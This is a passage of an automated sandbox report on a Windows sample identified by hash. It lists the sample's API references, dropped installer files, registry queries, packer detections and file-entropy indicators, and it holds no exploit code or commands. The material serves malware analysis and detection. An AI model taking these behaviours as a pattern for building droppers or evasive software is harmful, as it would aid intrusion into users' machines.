"RegDeleteKey"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function RegDeleteKeyIncludingSubkeys(const RootKey: Integer; const SubkeyName: String): Boolean;" (Indicator: "RegDeleteKey"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function RegDeleteKeyIfEmpty(const RootKey: Integer; const SubkeyName: String): Boolean;" (Indicator: "RegDeleteKey"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "function RegDeleteValue(const RootKey: Integer; const SubKeyName, ValueName: String): Boolean;" (Indicator: "RegDeleteValue"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "RegDeleteKeyA" (Indicator: "RegDeleteKey"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "RegDeleteValue" (Indicator: "RegDeleteValue"; Source: "00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegDeleteKeyExW" (Indicator: "RegDeleteKey"; Source: "00000000-00001444.00000001.110931.725C1000.00000020.mdmp") Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; Source: "00000000-00001444.00000001.110931.725C1000.00000020.mdmp") Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")73:T7bc,Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "SetWinEventHook" (Indicator: "SetWinEventHook"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "UnhookWinEvent" (Indicator: "UnhookWinEvent"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")74:T55e,Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "00000000-00008828.00000001.110829.00401000.00000020.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp")75:T9e3,Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp")76:T83b,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: is-8EM8Q.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: is-8EM8Q.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: is-8EM8Q.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: is-8EM8Q.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: is-8EM8Q.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: tuc4.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: tuc4.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: tuc4.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: tuc4.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: tuc4.tmp] Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: is-F1GN9.tmp] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: is-F1GN9.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: _setup64.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: _setup64.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: _setup64.tmp]77:Ta77,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\INSTALLSETUP9.EXE"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\TUC4.EXE"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\288C47BBC1871B439DF19FF4DF68F076.EXE"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\BROOMSETUP.EXE"; Value: "")78:T68a,Found reference to API "CreateMutex" (Indicator: "CreateMutex"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "CreateMutex" (Indicator: "CreateMutex"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "procedure CreateMutex(const Name: String);" (Indicator: "CreateMutex"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "OpenMutexW" (Indicator: "OpenMutex"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "CreateMutexExW" (Indicator: "CreateMutex"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp")79:T6bf,"BroomSetup.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 11 sections"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00008552] "tuc4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\tuc4.exe]- [targetUID: 00000000-00001444] "288c47bbc1871b439df19ff4df68f076.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00008776] "InstallSetup9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\InstallSetup9.exe]- [targetUID: 00000000-00008776] "INetC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\nsmE8FF.tmp\INetC.dll]- [targetUID: 00000000-00008576] "_isdecmp.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_isdecmp.dll]- [targetUID: 00000000-00001444] "_iscrypt.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_iscrypt.dll]- [targetUID: 00000000-00001444] "tuc4.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\is-LO8DU.tmp\tuc4.tmp]- [targetUID: 00000000-00001444] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00001444] "_RegDLL.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_RegDLL.tmp]- [targetUID: 00000000-00001444]7a:Td3c,Dropped file: "aviformattertool.exe" - Location: [%LOCALAPPDATA%\AVI formatter tool\aviformattertool.exe]- [targetUID: 00000000-00001444] Dropped file: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log]- [targetUID: 00000000-00008776] Dropped file: "Task.bat" - Location: [%APPDATA%\Temp\Task.bat]- [targetUID: 00000000-00008552] Dropped file: "is-5T5Q9.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\is-5T5Q9.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-ND51B.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-ND51B.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-O940H.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-O940H.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-8EM8Q.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\is-8EM8Q.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-KGHLP.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-KGHLP.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-71DPG.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\lessmsi\is-71DPG.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-T2M3R.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-T2M3R.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-F1GN9.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-F1GN9.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-9F3KE.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-9F3KE.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-PU7KQ.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-PU7KQ.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-Q1SH7.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1SH7.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-VNOL6.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VNOL6.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-5BQCL.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-5BQCL.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-HITNB.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-HITNB.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-L2OG8.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L2OG8.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-4M261.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4M261.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-Q1RQM.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1RQM.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-FEENV.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FEENV.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-S9I84.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-S9I84.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-14LP7.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-14LP7.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-VEAGR.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VEAGR.tmp]- [targetUID: 00000000-00001444] Dropped file: "is-4SRP0.tmp" - Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4SRP0.tmp]- [targetUID: 00000000-00001444]7b:T542,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" was detected as "Microsoft visual C# v7.0 / Basic .NET" "BroomSetup.exe" was detected as "Borland Delphi 4.0" "tuc4.exe" was detected as "Borland Delphi 4.0" "288c47bbc1871b439df19ff4df68f076.exe" was detected as "VC8 -> Microsoft Corporation" "aviformattertool.exe" was detected as "Microsoft visual C++ 5.0" "is-ND51B.tmp" was detected as "Borland Delphi 3.0 (???)" "is-O940H.tmp" was detected as "Borland Delphi 4.0" "is-8EM8Q.tmp" was detected as "Borland Delphi 3.0" "tuc4.tmp" was detected as "Borland Delphi 3.0" "is-T2M3R.tmp" was detected as "Borland Delphi 3.0 (???)" "is-F1GN9.tmp" was detected as "Microsoft visual C++ 5.0" "is-PU7KQ.tmp" was detected as "Borland Delphi 3.0 (???)" "is-5BQCL.tmp" was detected as "Visual C++ 2005 DLL -> Microsoft" "is-L2OG8.tmp" was detected as "Borland Delphi 3.0 (???)" "is-FEENV.tmp" was detected as "Borland Delphi 3.0 (???)" "is-S9I84.tmp" was detected as "Borland Delphi 4.0" "is-H1H9R.tmp" was detected as "Petite v1.4" "is-IT2IF.tmp" was detected as "Petite v1.4" "is-FNDLB.tmp" was detected as "Petite v1.4" "is-B3OEQ.tmp" was detected as "Petite v1.4" "_setup64.tmp" was detected as "Morphine v1.2 (DLL)" "is-IEB6T.tmp" was detected as "Petite v1.4" "_RegDLL.tmp" was detected as "Morphine v1.2 (DLL)"7c:T64b,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "InstallSetup9.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "tuc4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "tuc4.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "tuc4.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "aviformattertool.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "net1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "net1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1")7d:T768,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb" has section name .text with entropy "7.991119484617227" "BroomSetup.exe" has section name .text with entropy "6.492849219629816" "BroomSetup.exe" has section name .itext with entropy "6.083243853074556" "BroomSetup.exe" has section name .data with entropy "6.383364667331855" "BroomSetup.exe" has section name .reloc with entropy "6.719600969891273" "tuc4.exe" has section name CODE with entropy "6.56223225792919" "288c47bbc1871b439df19ff4df68f076.exe" has section name .text with entropy "7.997286183872912" "InstallSetup9.exe" has section name .text with entropy "6.478461709868021" "aviformattertool.exe" has section name .text with entropy "7.582861052921284" "aviformattertool.exe" has section name _vset_8 with entropy "7.634756066655118" "INetC.dll" has section name .text with entropy "6.10119991088432" "_isdecmp.dll" has section name .text with entropy "6.268118367691569" "is-ND51B.tmp" has section name .text with entropy "6.651423681432712" "is-ND51B.tmp" has section name .rdata with entropy "6.018583931103469" "is-ND51B.tmp" has section name .reloc with entropy "6.715599819264893" "is-O940H.tmp" has section name .text with entropy "6.38408734398985" "is-O940H.tmp" has section name .itext with entropy "6.18396275419473" "is-O940H.tmp" has section name .reloc with entropy "6.715321951999706" "is-8EM8Q.tmp" has section name CODE with entropy "6.598817920699176" "tuc4.tmp" has section name CODE with entropy "6.598817920699176" "is-KGHLP.tmp" has section name .text with entropy "6.390066203321365" "is-KGHLP.tmp" has section name .rdata with entropy "7.146041463953905" "is-KGHLP.tmp" has section name .reloc with entropy "6.430212863373675" "is-T2M3R.tmp" has section name .text with entropy "6.549920070581786" "is-T2M3R.tmp" has section name .rdata with entropy "6.510264773514751"7e:T577,Dropped file "%TEMP%\tuc4.exe" has high entropy 7.998762677203241 Dropped file "%TEMP%\288c47bbc1871b439df19ff4df68f076.exe" has high entropy 7.99098370748833 Dropped file "%TEMP%\InstallSetup9.exe" has high entropy 7.822738762103956 Dropped file "%LOCALAPPDATA%\AVI formatter tool\aviformattertool.exe" has high entropy 7.100690247609868 Dropped file "%LOCALAPPDATA%\AVI formatter tool\is-5T5Q9.tmp" has high entropy 7.10069034563795 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\lessmsi\is-71DPG.tmp" has high entropy 7.998074018431883 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-14LP7.tmp" has high entropy 7.922125376804506 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L88TK.tmp" has high entropy 7.780431937344781 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-H1H9R.tmp" has high entropy 7.842278356440954 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-RPG62.tmp" has high entropy 7.817557274117395 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-IT2IF.tmp" has high entropy 7.81689943223162 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FNDLB.tmp" has high entropy 7.672481244971812 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-D2IHO.tmp" has high entropy 7.620111275837424 Dropped file "%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-B3OEQ.tmp" has high entropy 7.5245484352919357f:T475,"tuc4.tmp" called "FileTimeToLocalFileTime" with parameter ^Cf & 5e6b070a74cddb01 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter e91a36b5aecddb01 & e942d70874cddb01 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToSystemTime" (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter 00b53218220fd701 & 00ddd36be70ed701 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter 00ef0de5d829d801 & 0017af389e29d801 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter 001ed47141fad101 & 004675c506fad101 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter 0049f89cf86dd201 & 007199f0bd6dd201 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter 00f1a27041fad101 & 001944c406fad101 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter 002a891b7160d101 & 00522a6f3660d101 (UID: 00000000-00001444) "tuc4.tmp" called "FileTimeToLocalFileTime" with parameter 00f3e5d8badfd901 & 001b872c80dfd901 (UID: 00000000-00001444)80:T989,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file 